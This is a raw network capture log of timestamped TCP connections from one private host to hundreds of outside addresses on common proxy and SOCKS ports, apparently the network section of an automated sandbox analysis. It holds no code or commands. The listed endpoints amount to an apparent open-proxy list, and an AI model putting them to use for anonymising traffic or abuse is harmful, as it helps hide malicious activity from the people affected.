Mar 11, 2024 18:36:46.187002897 CET	50269	1080	192.168.2.8	185.82.87.30
Mar 11, 2024 18:36:46.187004089 CET	50276	32100	192.168.2.8	50.199.46.20
Mar 11, 2024 18:36:46.187021017 CET	50289	8080	192.168.2.8	4.236.183.37
Mar 11, 2024 18:36:46.187021971 CET	50281	30189	192.168.2.8	161.97.163.52
Mar 11, 2024 18:36:46.187021971 CET	50286	3128	192.168.2.8	86.107.178.109
Mar 11, 2024 18:36:46.187025070 CET	50288	12113	192.168.2.8	103.49.28.23
Mar 11, 2024 18:36:46.187025070 CET	50291	5555	192.168.2.8	14.225.254.128
Mar 11, 2024 18:36:46.187047005 CET	50401	80	192.168.2.8	36.92.193.189
Mar 11, 2024 18:36:46.187047958 CET	50297	8080	192.168.2.8	103.124.196.134
Mar 11, 2024 18:36:46.187051058 CET	50295	999	192.168.2.8	170.239.207.241
Mar 11, 2024 18:36:46.187051058 CET	49916	5775	192.168.2.8	72.10.160.92
Mar 11, 2024 18:36:46.187064886 CET	50294	8080	192.168.2.8	94.131.203.7
Mar 11, 2024 18:36:46.189024925 CET	51116	65424	192.168.2.8	203.153.125.13
Mar 11, 2024 18:36:46.190156937 CET	51117	80	192.168.2.8	50.200.12.82
Mar 11, 2024 18:36:46.190620899 CET	49770	3128	192.168.2.8	46.245.77.52
Mar 11, 2024 18:36:46.190648079 CET	50010	55137	192.168.2.8	192.169.197.146
Mar 11, 2024 18:36:46.190656900 CET	50275	48553	192.168.2.8	203.96.177.211
Mar 11, 2024 18:36:46.190666914 CET	50423	3128	192.168.2.8	188.56.223.85
Mar 11, 2024 18:36:46.190666914 CET	49749	5678	192.168.2.8	122.152.53.25
Mar 11, 2024 18:36:46.190684080 CET	50287	29497	192.168.2.8	62.171.131.101
Mar 11, 2024 18:36:46.190695047 CET	50460	5836	192.168.2.8	185.158.248.95
Mar 11, 2024 18:36:46.190695047 CET	50290	32824	192.168.2.8	51.68.164.77
Mar 11, 2024 18:36:46.190704107 CET	50293	81	192.168.2.8	94.153.163.226
Mar 11, 2024 18:36:46.190752983 CET	50402	4145	192.168.2.8	103.66.233.225
Mar 11, 2024 18:36:46.192642927 CET	51118	6008	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:46.193023920 CET	51119	999	192.168.2.8	167.250.181.133
Mar 11, 2024 18:36:46.193681955 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:46.193723917 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:46.193739891 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:46.193842888 CET	49877	3128	192.168.2.8	160.16.90.35
Mar 11, 2024 18:36:46.195628881 CET	3129	50053	20.219.177.85	192.168.2.8
Mar 11, 2024 18:36:46.198020935 CET	16379	50724	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:46.198112011 CET	50724	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:46.198194981 CET	8081	50992	185.49.31.207	192.168.2.8
Mar 11, 2024 18:36:46.198211908 CET	16379	50724	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:46.198280096 CET	50992	8081	192.168.2.8	185.49.31.207
Mar 11, 2024 18:36:46.198652983 CET	49877	3128	192.168.2.8	160.16.90.35
Mar 11, 2024 18:36:46.198744059 CET	50724	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:46.200728893 CET	51120	9050	192.168.2.8	45.77.108.208
Mar 11, 2024 18:36:46.201016903 CET	51121	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:46.201550961 CET	50992	8081	192.168.2.8	185.49.31.207
Mar 11, 2024 18:36:46.201551914 CET	51122	80	192.168.2.8	104.16.224.33
Mar 11, 2024 18:36:46.201725960 CET	51123	27531	192.168.2.8	162.144.36.208
Mar 11, 2024 18:36:46.202172041 CET	51124	2001	192.168.2.8	173.44.141.179
Mar 11, 2024 18:36:46.202567101 CET	80	50156	50.170.90.28	192.168.2.8
Mar 11, 2024 18:36:46.202620029 CET	51125	8080	192.168.2.8	103.76.129.110
Mar 11, 2024 18:36:46.203675985 CET	51126	21972	192.168.2.8	79.143.177.29
Mar 11, 2024 18:36:46.204602957 CET	80	49727	50.217.226.43	192.168.2.8
Mar 11, 2024 18:36:46.204777956 CET	51127	5020	192.168.2.8	119.18.149.9
Mar 11, 2024 18:36:46.204802990 CET	8080	50114	156.232.9.194	192.168.2.8
Mar 11, 2024 18:36:46.204855919 CET	50114	8080	192.168.2.8	156.232.9.194
Mar 11, 2024 18:36:46.205455065 CET	5678	50977	185.26.32.93	192.168.2.8
Mar 11, 2024 18:36:46.206219912 CET	50299	30422	192.168.2.8	157.245.131.28
Mar 11, 2024 18:36:46.206222057 CET	50307	2020	192.168.2.8	103.170.115.213
Mar 11, 2024 18:36:46.206232071 CET	50474	4153	192.168.2.8	177.72.82.47
Mar 11, 2024 18:36:46.206237078 CET	50304	1080	192.168.2.8	93.171.243.253
Mar 11, 2024 18:36:46.206237078 CET	50308	4153	192.168.2.8	103.84.178.2
Mar 11, 2024 18:36:46.206254959 CET	50584	80	192.168.2.8	50.173.140.148
Mar 11, 2024 18:36:46.206660986 CET	42331	50206	206.189.9.30	192.168.2.8
Mar 11, 2024 18:36:46.208353043 CET	80	50978	172.67.182.96	192.168.2.8
Mar 11, 2024 18:36:46.208389997 CET	80	50978	172.67.182.96	192.168.2.8
Mar 11, 2024 18:36:46.208700895 CET	80	50795	172.67.181.12	192.168.2.8
Mar 11, 2024 18:36:46.209393978 CET	80	50835	104.16.241.204	192.168.2.8
Mar 11, 2024 18:36:46.209470034 CET	80	50978	172.67.182.96	192.168.2.8
Mar 11, 2024 18:36:46.209577084 CET	50978	80	192.168.2.8	172.67.182.96
Mar 11, 2024 18:36:46.209758997 CET	4153	50047	103.83.105.167	192.168.2.8
Mar 11, 2024 18:36:46.211168051 CET	4145	50827	72.210.221.197	192.168.2.8
Mar 11, 2024 18:36:46.211185932 CET	4145	50827	72.210.221.197	192.168.2.8
Mar 11, 2024 18:36:46.212627888 CET	8080	50720	51.68.220.201	192.168.2.8
Mar 11, 2024 18:36:46.213974953 CET	15303	51028	184.178.172.5	192.168.2.8
Mar 11, 2024 18:36:46.214054108 CET	51028	15303	192.168.2.8	184.178.172.5
Mar 11, 2024 18:36:46.217312098 CET	3128	50690	52.67.10.183	192.168.2.8
Mar 11, 2024 18:36:46.218354940 CET	49775	50189	138.201.21.232	192.168.2.8
Mar 11, 2024 18:36:46.218373060 CET	8080	50991	91.202.230.219	192.168.2.8
Mar 11, 2024 18:36:46.218523026 CET	50991	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:46.218930006 CET	3128	50690	52.67.10.183	192.168.2.8
Mar 11, 2024 18:36:46.221867085 CET	50590	80	192.168.2.8	50.222.245.41
Mar 11, 2024 18:36:46.221873999 CET	50651	10801	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.221877098 CET	50514	5678	192.168.2.8	101.95.182.26
Mar 11, 2024 18:36:46.221887112 CET	49722	8081	192.168.2.8	154.72.90.74
Mar 11, 2024 18:36:46.221888065 CET	50321	59341	192.168.2.8	109.75.34.152
Mar 11, 2024 18:36:46.221888065 CET	50311	999	192.168.2.8	45.234.61.173
Mar 11, 2024 18:36:46.221888065 CET	50305	43100	192.168.2.8	192.163.201.131
Mar 11, 2024 18:36:46.221889973 CET	50312	80	192.168.2.8	190.116.2.52
Mar 11, 2024 18:36:46.221904993 CET	50320	4153	192.168.2.8	212.31.100.138
Mar 11, 2024 18:36:46.221910000 CET	50310	16379	192.168.2.8	163.172.131.178
Mar 11, 2024 18:36:46.221921921 CET	50328	4153	192.168.2.8	92.255.190.41
Mar 11, 2024 18:36:46.221929073 CET	50317	999	192.168.2.8	181.78.19.248
Mar 11, 2024 18:36:46.221930027 CET	50324	8080	192.168.2.8	46.209.207.153
Mar 11, 2024 18:36:46.221930027 CET	50330	3128	192.168.2.8	62.171.184.96
Mar 11, 2024 18:36:46.221930027 CET	50327	80	192.168.2.8	203.243.63.16
Mar 11, 2024 18:36:46.221939087 CET	5678	50247	191.97.2.198	192.168.2.8
Mar 11, 2024 18:36:46.222322941 CET	80	50990	45.12.30.231	192.168.2.8
Mar 11, 2024 18:36:46.222352982 CET	80	50990	45.12.30.231	192.168.2.8
Mar 11, 2024 18:36:46.222608089 CET	3128	50603	185.191.236.162	192.168.2.8
Mar 11, 2024 18:36:46.222786903 CET	80	50990	45.12.30.231	192.168.2.8
Mar 11, 2024 18:36:46.222831011 CET	45629	51021	162.241.6.97	192.168.2.8
Mar 11, 2024 18:36:46.222930908 CET	50990	80	192.168.2.8	45.12.30.231
Mar 11, 2024 18:36:46.224338055 CET	59268	50170	67.213.212.50	192.168.2.8
Mar 11, 2024 18:36:46.224417925 CET	18080	50578	54.178.159.199	192.168.2.8
Mar 11, 2024 18:36:46.224469900 CET	5678	50070	223.25.98.82	192.168.2.8
Mar 11, 2024 18:36:46.226425886 CET	9002	50088	111.59.4.88	192.168.2.8
Mar 11, 2024 18:36:46.226785898 CET	50088	9002	192.168.2.8	111.59.4.88
Mar 11, 2024 18:36:46.228141069 CET	26315	49817	72.10.160.171	192.168.2.8
Mar 11, 2024 18:36:46.228446960 CET	19599	50389	67.43.227.228	192.168.2.8
Mar 11, 2024 18:36:46.229607105 CET	80	51002	186.124.164.213	192.168.2.8
Mar 11, 2024 18:36:46.229641914 CET	50978	80	192.168.2.8	172.67.182.96
Mar 11, 2024 18:36:46.229698896 CET	51002	80	192.168.2.8	186.124.164.213
Mar 11, 2024 18:36:46.230089903 CET	80	50222	8.222.239.209	192.168.2.8
Mar 11, 2024 18:36:46.230137110 CET	18080	50709	152.32.130.117	192.168.2.8
Mar 11, 2024 18:36:46.230204105 CET	18080	50709	152.32.130.117	192.168.2.8
Mar 11, 2024 18:36:46.230333090 CET	50709	18080	192.168.2.8	152.32.130.117
Mar 11, 2024 18:36:46.231827974 CET	51128	4145	192.168.2.8	72.210.221.197
Mar 11, 2024 18:36:46.231831074 CET	50991	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:46.232357979 CET	50690	3128	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:46.232909918 CET	50990	80	192.168.2.8	45.12.30.231
Mar 11, 2024 18:36:46.233946085 CET	50088	9002	192.168.2.8	111.59.4.88
Mar 11, 2024 18:36:46.233946085 CET	51002	80	192.168.2.8	186.124.164.213
Mar 11, 2024 18:36:46.234173059 CET	50709	18080	192.168.2.8	152.32.130.117
Mar 11, 2024 18:36:46.236041069 CET	5096	50228	165.154.227.154	192.168.2.8
Mar 11, 2024 18:36:46.236079931 CET	51129	18080	192.168.2.8	152.32.130.117
Mar 11, 2024 18:36:46.237505913 CET	50316	65000	192.168.2.8	89.171.116.65
Mar 11, 2024 18:36:46.237509012 CET	50314	31042	192.168.2.8	162.214.227.68
Mar 11, 2024 18:36:46.237519979 CET	50318	8765	192.168.2.8	203.161.30.10
Mar 11, 2024 18:36:46.237523079 CET	50323	4153	192.168.2.8	177.91.76.34
Mar 11, 2024 18:36:46.237538099 CET	50325	4145	192.168.2.8	197.234.13.36
Mar 11, 2024 18:36:46.237540960 CET	49927	5678	192.168.2.8	181.78.13.91
Mar 11, 2024 18:36:46.237543106 CET	49950	18067	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.237564087 CET	50545	4153	192.168.2.8	45.226.0.2
Mar 11, 2024 18:36:46.237564087 CET	50331	5678	192.168.2.8	171.100.23.244
Mar 11, 2024 18:36:46.237566948 CET	49893	80	192.168.2.8	50.223.239.166
Mar 11, 2024 18:36:46.237569094 CET	50338	1981	192.168.2.8	41.65.236.37
Mar 11, 2024 18:36:46.237638950 CET	50340	34172	192.168.2.8	162.241.46.6
Mar 11, 2024 18:36:46.237641096 CET	50344	999	192.168.2.8	190.90.22.106
Mar 11, 2024 18:36:46.237656116 CET	50345	42571	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:46.237658024 CET	50351	5678	192.168.2.8	201.144.20.231
Mar 11, 2024 18:36:46.237658024 CET	50350	7890	192.168.2.8	116.5.187.116
Mar 11, 2024 18:36:46.237659931 CET	50349	8080	192.168.2.8	137.59.161.177
Mar 11, 2024 18:36:46.237715960 CET	50313	8080	192.168.2.8	178.115.253.35
Mar 11, 2024 18:36:46.237715960 CET	50560	3128	192.168.2.8	213.131.230.161
Mar 11, 2024 18:36:46.237731934 CET	49951	26353	192.168.2.8	67.43.227.228
Mar 11, 2024 18:36:46.237731934 CET	50586	27639	192.168.2.8	185.45.194.176
Mar 11, 2024 18:36:46.237751961 CET	50337	999	192.168.2.8	190.97.238.88
Mar 11, 2024 18:36:46.237771034 CET	50342	39789	192.168.2.8	209.142.64.219
Mar 11, 2024 18:36:46.237771034 CET	50343	8811	192.168.2.8	51.158.68.68
Mar 11, 2024 18:36:46.237781048 CET	50665	29197	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:46.237785101 CET	50353	8080	192.168.2.8	182.52.229.165
Mar 11, 2024 18:36:46.237860918 CET	50341	999	192.168.2.8	190.95.195.105
Mar 11, 2024 18:36:46.239778996 CET	24543	50420	209.159.153.19	192.168.2.8
Mar 11, 2024 18:36:46.241328001 CET	80	51011	162.159.246.135	192.168.2.8
Mar 11, 2024 18:36:46.241350889 CET	80	51011	162.159.246.135	192.168.2.8
Mar 11, 2024 18:36:46.241411924 CET	80	50926	162.159.241.5	192.168.2.8
Mar 11, 2024 18:36:46.241583109 CET	51011	80	192.168.2.8	162.159.246.135
Mar 11, 2024 18:36:46.241887093 CET	5678	51004	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:46.242022038 CET	51004	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:46.242759943 CET	80	51011	162.159.246.135	192.168.2.8
Mar 11, 2024 18:36:46.243045092 CET	51011	80	192.168.2.8	162.159.246.135
Mar 11, 2024 18:36:46.243556023 CET	51004	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:46.244160891 CET	9039	49826	67.43.227.228	192.168.2.8
Mar 11, 2024 18:36:46.245556116 CET	51131	8080	192.168.2.8	186.103.130.94
Mar 11, 2024 18:36:46.245563984 CET	51130	12919	192.168.2.8	192.169.205.131
Mar 11, 2024 18:36:46.246078968 CET	3128	50205	13.208.168.179	192.168.2.8
Mar 11, 2024 18:36:46.246113062 CET	51132	8080	192.168.2.8	103.191.155.62
Mar 11, 2024 18:36:46.246591091 CET	51133	8789	192.168.2.8	103.84.235.162
Mar 11, 2024 18:36:46.246786118 CET	51134	14669	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:46.246856928 CET	51135	80	192.168.2.8	162.159.242.10
Mar 11, 2024 18:36:46.247185946 CET	51136	55994	192.168.2.8	38.127.179.16
Mar 11, 2024 18:36:46.249452114 CET	3128	51009	68.183.180.222	192.168.2.8
Mar 11, 2024 18:36:46.249536037 CET	51009	3128	192.168.2.8	68.183.180.222
Mar 11, 2024 18:36:46.251178980 CET	80	50250	50.217.226.44	192.168.2.8
Mar 11, 2024 18:36:46.253164053 CET	50667	26087	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:46.253168106 CET	50612	80	192.168.2.8	50.174.214.219
Mar 11, 2024 18:36:46.253180027 CET	50336	8089	192.168.2.8	117.70.49.27
Mar 11, 2024 18:36:46.253185987 CET	50335	83	192.168.2.8	103.48.68.101
Mar 11, 2024 18:36:46.253210068 CET	50358	80	192.168.2.8	203.57.51.53
Mar 11, 2024 18:36:46.253210068 CET	50362	999	192.168.2.8	191.97.9.228
Mar 11, 2024 18:36:46.253211021 CET	50408	4145	192.168.2.8	168.205.217.13
Mar 11, 2024 18:36:46.253211021 CET	50364	4145	192.168.2.8	197.234.13.17
Mar 11, 2024 18:36:46.253211021 CET	50369	9050	192.168.2.8	45.113.80.37
Mar 11, 2024 18:36:46.253211021 CET	50386	999	192.168.2.8	190.114.245.122
Mar 11, 2024 18:36:46.253213882 CET	50367	8080	192.168.2.8	154.73.29.161
Mar 11, 2024 18:36:46.253288031 CET	50292	3128	192.168.2.8	139.99.148.90
Mar 11, 2024 18:36:46.253288984 CET	50668	31571	192.168.2.8	72.10.160.170
Mar 11, 2024 18:36:46.253298998 CET	49889	80	192.168.2.8	50.174.145.11
Mar 11, 2024 18:36:46.253304958 CET	50332	4145	192.168.2.8	202.124.46.97
Mar 11, 2024 18:36:46.253304958 CET	49963	17145	192.168.2.8	67.43.236.18
Mar 11, 2024 18:36:46.253328085 CET	50334	42771	192.168.2.8	162.240.239.103
Mar 11, 2024 18:36:46.253328085 CET	50346	999	192.168.2.8	181.204.0.36
Mar 11, 2024 18:36:46.253340960 CET	50352	31247	192.168.2.8	202.40.181.220
Mar 11, 2024 18:36:46.253346920 CET	50347	999	192.168.2.8	179.60.219.63
Mar 11, 2024 18:36:46.253349066 CET	50354	8888	192.168.2.8	136.244.99.51
Mar 11, 2024 18:36:46.253365040 CET	50355	999	192.168.2.8	201.71.3.42
Mar 11, 2024 18:36:46.253366947 CET	50359	6522	192.168.2.8	45.117.179.179
Mar 11, 2024 18:36:46.253401995 CET	50360	80	192.168.2.8	115.42.45.1
Mar 11, 2024 18:36:46.253405094 CET	50368	60964	192.168.2.8	192.163.202.88
Mar 11, 2024 18:36:46.253407001 CET	50365	8080	192.168.2.8	95.57.216.118
Mar 11, 2024 18:36:46.253423929 CET	49934	80	192.168.2.8	50.168.163.166
Mar 11, 2024 18:36:46.253426075 CET	50379	8080	192.168.2.8	103.176.96.132
Mar 11, 2024 18:36:46.253894091 CET	8080	50525	103.190.54.141	192.168.2.8
Mar 11, 2024 18:36:46.255487919 CET	51137	21231	192.168.2.8	92.247.2.26
Mar 11, 2024 18:36:46.255858898 CET	51138	80	192.168.2.8	82.146.37.145
Mar 11, 2024 18:36:46.256273985 CET	51139	34405	192.168.2.8	212.110.188.189
Mar 11, 2024 18:36:46.259054899 CET	3128	50773	134.209.29.120	192.168.2.8
Mar 11, 2024 18:36:46.259512901 CET	25491	50433	67.43.227.230	192.168.2.8
Mar 11, 2024 18:36:46.260000944 CET	3500	50102	23.225.72.122	192.168.2.8
Mar 11, 2024 18:36:46.260080099 CET	50102	3500	192.168.2.8	23.225.72.122
Mar 11, 2024 18:36:46.260660887 CET	80	49834	50.172.218.160	192.168.2.8
Mar 11, 2024 18:36:46.261774063 CET	4145	50669	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:46.262787104 CET	19802	50572	72.167.38.7	192.168.2.8
Mar 11, 2024 18:36:46.263330936 CET	80	50241	141.147.33.121	192.168.2.8
Mar 11, 2024 18:36:46.263395071 CET	58703	51005	67.213.210.118	192.168.2.8
Mar 11, 2024 18:36:46.266300917 CET	3128	50773	134.209.29.120	192.168.2.8
Mar 11, 2024 18:36:46.266330957 CET	3128	50773	134.209.29.120	192.168.2.8
Mar 11, 2024 18:36:46.266475916 CET	50773	3128	192.168.2.8	134.209.29.120
Mar 11, 2024 18:36:46.267101049 CET	8181	50236	43.132.184.228	192.168.2.8
Mar 11, 2024 18:36:46.267347097 CET	80	51018	185.162.229.70	192.168.2.8
Mar 11, 2024 18:36:46.267401934 CET	80	51018	185.162.229.70	192.168.2.8
Mar 11, 2024 18:36:46.268289089 CET	80	51018	185.162.229.70	192.168.2.8
Mar 11, 2024 18:36:46.268390894 CET	51018	80	192.168.2.8	185.162.229.70
Mar 11, 2024 18:36:46.268687010 CET	8193	50467	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:46.268750906 CET	50628	25675	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:46.268773079 CET	50357	8181	192.168.2.8	103.234.28.211
Mar 11, 2024 18:36:46.268774033 CET	50573	1080	192.168.2.8	140.250.150.56
Mar 11, 2024 18:36:46.268793106 CET	50373	2080	192.168.2.8	152.136.151.195
Mar 11, 2024 18:36:46.268794060 CET	50429	8080	192.168.2.8	8.218.100.120
Mar 11, 2024 18:36:46.268794060 CET	50649	80	192.168.2.8	50.173.140.150
Mar 11, 2024 18:36:46.268799067 CET	49982	25639	192.168.2.8	67.43.227.226
Mar 11, 2024 18:36:46.268800974 CET	50383	6001	192.168.2.8	20.106.146.212
Mar 11, 2024 18:36:46.268805981 CET	50361	27102	192.168.2.8	128.199.196.31
Mar 11, 2024 18:36:46.268824100 CET	50385	37758	192.168.2.8	37.32.98.160
Mar 11, 2024 18:36:46.268825054 CET	50388	22735	192.168.2.8	91.142.222.84
Mar 11, 2024 18:36:46.268824100 CET	50417	29212	192.168.2.8	92.204.135.203
Mar 11, 2024 18:36:46.268826008 CET	50376	80	192.168.2.8	91.65.102.60
Mar 11, 2024 18:36:46.268826008 CET	50393	8080	192.168.2.8	216.74.255.182
Mar 11, 2024 18:36:46.268831968 CET	50418	49685	192.168.2.8	195.154.243.38
Mar 11, 2024 18:36:46.268851042 CET	50421	16379	192.168.2.8	51.158.77.220
Mar 11, 2024 18:36:46.268851042 CET	50403	4153	192.168.2.8	103.95.97.42
Mar 11, 2024 18:36:46.268851995 CET	50405	41746	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:46.268851995 CET	50395	46983	192.168.2.8	132.148.167.231
Mar 11, 2024 18:36:46.268851995 CET	50407	3825	192.168.2.8	104.247.163.246
Mar 11, 2024 18:36:46.268853903 CET	50422	31476	192.168.2.8	170.244.64.12
Mar 11, 2024 18:36:46.268872023 CET	50419	4145	192.168.2.8	92.207.253.226
Mar 11, 2024 18:36:46.268938065 CET	50409	6821	192.168.2.8	198.12.255.193
Mar 11, 2024 18:36:46.268939018 CET	50416	80	192.168.2.8	154.118.228.212
Mar 11, 2024 18:36:46.269004107 CET	51141	33661	192.168.2.8	128.199.196.31
Mar 11, 2024 18:36:46.269181013 CET	51140	8080	192.168.2.8	103.53.78.26
Mar 11, 2024 18:36:46.270358086 CET	51143	80	192.168.2.8	137.184.100.135
Mar 11, 2024 18:36:46.270365000 CET	51142	4145	192.168.2.8	162.253.68.97
Mar 11, 2024 18:36:46.270596027 CET	51144	12792	192.168.2.8	112.30.155.83
Mar 11, 2024 18:36:46.271224976 CET	51145	26606	192.168.2.8	132.148.128.88
Mar 11, 2024 18:36:46.271584988 CET	51147	80	192.168.2.8	46.249.0.189
Mar 11, 2024 18:36:46.271713018 CET	51146	49227	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:46.271975994 CET	51148	80	192.168.2.8	138.68.235.51
Mar 11, 2024 18:36:46.273624897 CET	51149	29477	192.168.2.8	67.43.236.21
Mar 11, 2024 18:36:46.275368929 CET	51150	34916	192.168.2.8	161.97.163.52
Mar 11, 2024 18:36:46.275861025 CET	3335	50447	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:46.276281118 CET	83	50037	103.159.46.2	192.168.2.8
Mar 11, 2024 18:36:46.276492119 CET	50037	83	192.168.2.8	103.159.46.2
Mar 11, 2024 18:36:46.276993036 CET	80	50970	104.16.104.12	192.168.2.8
Mar 11, 2024 18:36:46.277112961 CET	12334	50964	194.4.50.91	192.168.2.8
Mar 11, 2024 18:36:46.277316093 CET	12334	50964	194.4.50.91	192.168.2.8
Mar 11, 2024 18:36:46.277398109 CET	50964	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:46.279783964 CET	15673	51041	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:46.280749083 CET	51151	8080	192.168.2.8	180.191.16.5
Mar 11, 2024 18:36:46.280853987 CET	51041	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:46.280997992 CET	51152	15291	192.168.2.8	184.178.172.25
Mar 11, 2024 18:36:46.281200886 CET	51153	1080	192.168.2.8	165.227.112.138
Mar 11, 2024 18:36:46.282306910 CET	9764	50959	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:46.282387018 CET	9764	50959	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:46.282548904 CET	50959	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:46.283607960 CET	80	50488	50.239.72.17	192.168.2.8
Mar 11, 2024 18:36:46.284373999 CET	50394	62801	192.168.2.8	146.59.147.11
Mar 11, 2024 18:36:46.284375906 CET	50390	5678	192.168.2.8	36.67.14.195
Mar 11, 2024 18:36:46.284375906 CET	50760	64110	192.168.2.8	164.92.86.113
Mar 11, 2024 18:36:46.284403086 CET	50593	3128	192.168.2.8	120.24.52.179
Mar 11, 2024 18:36:46.284403086 CET	50702	4145	192.168.2.8	198.8.94.170
Mar 11, 2024 18:36:46.284404039 CET	50398	4145	192.168.2.8	110.77.232.172
Mar 11, 2024 18:36:46.284403086 CET	50453	9999	192.168.2.8	113.195.224.222
Mar 11, 2024 18:36:46.284403086 CET	50400	999	192.168.2.8	181.78.22.228
Mar 11, 2024 18:36:46.284403086 CET	50431	8082	192.168.2.8	80.72.68.247
Mar 11, 2024 18:36:46.284405947 CET	50404	5678	192.168.2.8	103.131.8.27
Mar 11, 2024 18:36:46.284405947 CET	50427	5678	192.168.2.8	203.205.34.58
Mar 11, 2024 18:36:46.284446955 CET	50410	8888	192.168.2.8	217.219.74.130
Mar 11, 2024 18:36:46.284446955 CET	50413	8080	192.168.2.8	193.34.95.110
Mar 11, 2024 18:36:46.284447908 CET	50424	8080	192.168.2.8	190.104.20.82
Mar 11, 2024 18:36:46.284446955 CET	50414	20435	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:46.284449100 CET	50624	3128	192.168.2.8	155.185.15.56
Mar 11, 2024 18:36:46.284449100 CET	50430	999	192.168.2.8	45.174.248.19
Mar 11, 2024 18:36:46.285556078 CET	8080	50382	91.148.127.162	192.168.2.8
Mar 11, 2024 18:36:46.288655043 CET	51155	999	192.168.2.8	170.80.242.98
Mar 11, 2024 18:36:46.289017916 CET	51156	5678	192.168.2.8	94.154.221.91
Mar 11, 2024 18:36:46.289383888 CET	51009	3128	192.168.2.8	68.183.180.222
Mar 11, 2024 18:36:46.291059971 CET	80	50866	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:46.291157007 CET	50866	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:46.291307926 CET	51157	8080	192.168.2.8	103.190.54.141
Mar 11, 2024 18:36:46.292038918 CET	50773	3128	192.168.2.8	134.209.29.120
Mar 11, 2024 18:36:46.292087078 CET	51018	80	192.168.2.8	185.162.229.70
Mar 11, 2024 18:36:46.292618990 CET	50037	83	192.168.2.8	103.159.46.2
Mar 11, 2024 18:36:46.292845011 CET	50964	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:46.293788910 CET	51158	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:46.293792009 CET	51159	10513	192.168.2.8	66.29.128.243
Mar 11, 2024 18:36:46.294356108 CET	51041	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:46.294357061 CET	50959	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:46.296333075 CET	51160	16744	192.168.2.8	166.62.87.148
Mar 11, 2024 18:36:46.296345949 CET	50866	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:46.296514034 CET	15864	50532	192.252.214.20	192.168.2.8
Mar 11, 2024 18:36:46.296745062 CET	51161	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:46.299890995 CET	51162	80	192.168.2.8	210.156.35.196
Mar 11, 2024 18:36:46.300007105 CET	50205	3128	192.168.2.8	13.208.168.179
Mar 11, 2024 18:36:46.300008059 CET	50011	3128	192.168.2.8	178.128.148.69
Mar 11, 2024 18:36:46.300025940 CET	50596	8443	192.168.2.8	27.254.123.203
Mar 11, 2024 18:36:46.300031900 CET	50435	64494	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:46.300075054 CET	50436	80	192.168.2.8	140.83.32.175
Mar 11, 2024 18:36:46.300075054 CET	50437	4145	192.168.2.8	184.178.172.3
Mar 11, 2024 18:36:46.300456047 CET	80	50767	123.110.158.236	192.168.2.8
Mar 11, 2024 18:36:46.300602913 CET	50767	80	192.168.2.8	123.110.158.236
Mar 11, 2024 18:36:46.301671982 CET	4145	50669	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:46.301743984 CET	8080	50322	95.84.166.138	192.168.2.8
Mar 11, 2024 18:36:46.302078962 CET	3128	50569	3.212.148.199	192.168.2.8
Mar 11, 2024 18:36:46.304250002 CET	80	49779	50.174.145.9	192.168.2.8
Mar 11, 2024 18:36:46.304966927 CET	8000	50989	198.199.83.206	192.168.2.8
Mar 11, 2024 18:36:46.307353020 CET	50767	80	192.168.2.8	123.110.158.236
Mar 11, 2024 18:36:46.307357073 CET	51163	80	192.168.2.8	123.110.158.236
Mar 11, 2024 18:36:46.310730934 CET	8888	50151	36.134.91.82	192.168.2.8
Mar 11, 2024 18:36:46.310875893 CET	50151	8888	192.168.2.8	36.134.91.82
Mar 11, 2024 18:36:46.311832905 CET	50151	8888	192.168.2.8	36.134.91.82
Mar 11, 2024 18:36:46.312493086 CET	9000	50878	122.116.150.2	192.168.2.8
Mar 11, 2024 18:36:46.312588930 CET	50878	9000	192.168.2.8	122.116.150.2
Mar 11, 2024 18:36:46.313746929 CET	8888	50412	120.79.101.0	192.168.2.8
Mar 11, 2024 18:36:46.313812017 CET	8000	50258	128.199.252.41	192.168.2.8
Mar 11, 2024 18:36:46.313865900 CET	8888	50412	120.79.101.0	192.168.2.8
Mar 11, 2024 18:36:46.314105034 CET	44195	50296	162.19.7.56	192.168.2.8
Mar 11, 2024 18:36:46.314785004 CET	8080	50382	91.148.127.162	192.168.2.8
Mar 11, 2024 18:36:46.315617085 CET	50375	8080	192.168.2.8	213.184.153.66
Mar 11, 2024 18:36:46.315618038 CET	50695	80	192.168.2.8	50.230.222.202
